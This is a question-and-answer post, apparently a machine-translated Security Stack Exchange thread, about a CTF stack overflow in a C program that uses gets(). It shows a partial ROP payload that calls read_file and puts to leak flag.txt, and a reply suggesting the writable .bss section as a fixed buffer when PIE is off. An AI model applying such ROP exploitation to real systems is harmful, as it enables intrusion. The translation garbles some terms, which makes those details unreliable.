我面临CTF的挑战,在这个程序中,我必须使用ROP链进行如下攻击:
#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
#include <sys/stat.h>
#include <fcntl.h>
// IGNORE
void setup() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
// END IGNORE
void read_file(char* file, char* buffer) {
int fd = open(file, O_RDONLY);
read(fd, buffer, 0x200);
}
void main() {
setup();
char buffer[0x200];
puts("can you read flag.txt");
read_file("./flag.txt", buffer);
gets(buffer);
// puts(buffer);
}我的计划是使用ROP再次调用read_file函数,然后调用out ()函数输出文件的内容。但是,虽然我在内存中的地址为“./mark.txt”字符串作为第一个参数提交,但我不知道第二个参数( char*缓冲区)使用哪个地址,甚至不知道是否可以这样做。
我的策略一开始可行吗?我是否应该尝试使用ROP小工具来调用基本库函数(读取、打开等)?如果我的策略是可行的,我应该提交什么地址/空间作为第二个参数?谢谢。
作为参考,这是我尝试提交的有效载荷,但我没有得到:
payload = b"A" * 0x200
payload += b"B" * 0x8
payload += pop_rsi_pop_r15_ret_address + p64(0x7fffffffd950) + p64(flag_txt_string_address) + read_file_address
payload += pop_rdi_ret_address + p64(0x7fffffffd950) + plt_puts_address此外,ASLR被启用,但是PIE被禁用。
发布于 2022-11-12 19:55:56
您可以将数据读入程序内存的.bss部分中。它是可读的和可写的,它的位置和大小是由可执行文件本身定义的,所以禁用饼图意味着它将有一个固定的地址。
请注意,其他数据也可能存储在.bss部分中,因此您可能需要在读取/写入自己的数据时添加偏移量。
https://security.stackexchange.com/questions/266322
复制相似问题